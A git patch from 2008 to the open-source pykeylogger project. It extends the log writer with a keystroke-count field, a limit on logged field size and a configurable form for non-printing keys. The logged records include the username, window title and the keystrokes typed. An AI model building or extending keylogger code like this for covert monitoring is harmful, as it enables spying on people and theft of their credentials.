From e3944ca4882c74c72c7f998e8b45d5c3843eceb7 Mon Sep 17 00:00:00 2001 From: nanotube Date: Fri, 8 Feb 2008 05:05:25 +0000 Subject: [PATCH] add config items for keystroke count, log field size limit, and nonprinting key representation. implement those in the logwriter. --- logwriter.py | 29 +++++++++++++++++++++++------ pykeylogger.ini | Bin 7060 -> 7971 bytes pykeylogger.val | 12 ++++++++++++ 3 files changed, 35 insertions(+), 6 deletions(-) diff --git a/logwriter.py b/logwriter.py index c5e5f85..dae3375 100644 --- a/logwriter.py +++ b/logwriter.py @@ -167,6 +167,8 @@ class LogWriter(threading.Thread): ## line format: ## date; time (1 minute resolution); fullapppath; hwnd; username; window title; eventdata ## + ## if we are logging keystroke count, that field becomes the penultimate field. + ## ## event data: ascii if normal key, escaped if "special" key, escaped if csv separator ## self.processName = self.GetProcessNameFromHwnd(event.Window) #fullapppath ## hwnd = event.Window @@ -181,6 +183,9 @@ class LogWriter(threading.Thread): #self.stopflag=False self.eventlist = range(7) #initialize our eventlist to something. + if self.settings['General']['Log Key Count'] == True: + self.eventlist.append(7) + while not self.finished.isSet(): try: event = self.q.get() @@ -200,10 +205,17 @@ class LogWriter(threading.Thread): self.GetProcessNameFromHwnd(event.Window), str(event.Window), os.getenv('USERNAME'), - str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]'), - unicode(self.ParseEventValue(event), 'latin-1')] - if self.eventlist[:-1] == eventlisttmp[:-1]: - self.eventlist[-1] = str(self.eventlist[-1]) + str(eventlisttmp[-1]) + str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]')] + + if self.settings['General']['Log Key Count'] == True: + eventlisttmp = eventlisttmp + [1,unicode(self.ParseEventValue(event), 'latin-1')] + else: + eventlisttmp.append(unicode(self.ParseEventValue(event), 'latin-1')) + + if (self.eventlist[:6] == eventlisttmp[:6]) and (self.settings['General']['Limit Keylog Field Size'] == 0 or len(self.eventlist[-1]) < self.settings['General']['Limit Keylog Field Size']): + self.eventlist[-1] = str(self.eventlist[-1]) + str(eventlisttmp[-1]) #append char to log + if self.settings['General']['Log Key Count'] == True: + self.eventlist[-2] = int(self.eventlist[-2]) + 1 # increase stroke count else: self.WriteToLogFile() #write the eventlist to file, unless it's just the dummy list self.eventlist = eventlisttmp @@ -239,7 +251,12 @@ class LogWriter(threading.Thread): #we translate all the special keys, such as arrows, backspace, into text strings for logging #exclude shift keys, because they are already represented (as capital letters/symbols) if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')): - return('[KeyName:' + event.Key + ']') + npchrstr = self.settings['General']['Non-printing Character Representation'] + npchrstr = re.sub('%keyname%', event.Key, npchrstr) + npchrstr = re.sub('%scancode%', event.ScanCode, npchrstr) + npchrstr = re.sub('%vkcode%', event.KeyID, npchrstr) + #return('[KeyName:' + event.Key + ']') + return(npchrstr) return(chr(event.Ascii)) @@ -247,7 +264,7 @@ class LogWriter(threading.Thread): '''Write the latest eventlist to logfile in one delimited line ''' - if self.eventlist != range(7): + if self.eventlist[:7] != range(7): try: line = unicode(self.settings['General']['Log File Field Separator'],'latin-1').join(self.eventlist) + "\n" self.PrintStuff(line) diff --git a/pykeylogger.ini b/pykeylogger.ini index 76abb8ce5bd9eefe9a594e2eec58ea3a5226d06f..c45ec469cd5181977f1b0054cb847270151ac5fd 100644 GIT binary patch delta 916 zcma)4!HN?>5Irce%)x_SP(;G65W^xYLLh=HEH18laB~w6ot~Pc*`BV@U7a{y<|EcW z@CO9XeuqEchgdaX!o-uert8(K_g>Yv*Wcg#_;d2`^zoDShF0(%8@Qw#7#2jH-3I1x z9jwnKf(d|MI2y3za~;41;5CAmww>cOXhA!vf_rQ>5mUkh6-9v=2JZrDtu$<=#qqE? zT$$D zg`{)Z4{bI$=~!yhNIYo`(wI=`M2oy%U0h6I=&(JqI2ZfFFg{5Nx2DF~Sj+`^j6WB* z6kcwkNOEBXm%Sv+cgIETuJxkfjZWC-xbd+VGIoOU^ z&07i_$!p?Cl3VB^SR}1F@9KAr5hVccVTsVG#S(Cfu>p3qURAT#(e_S+3nZic0hN2w zioB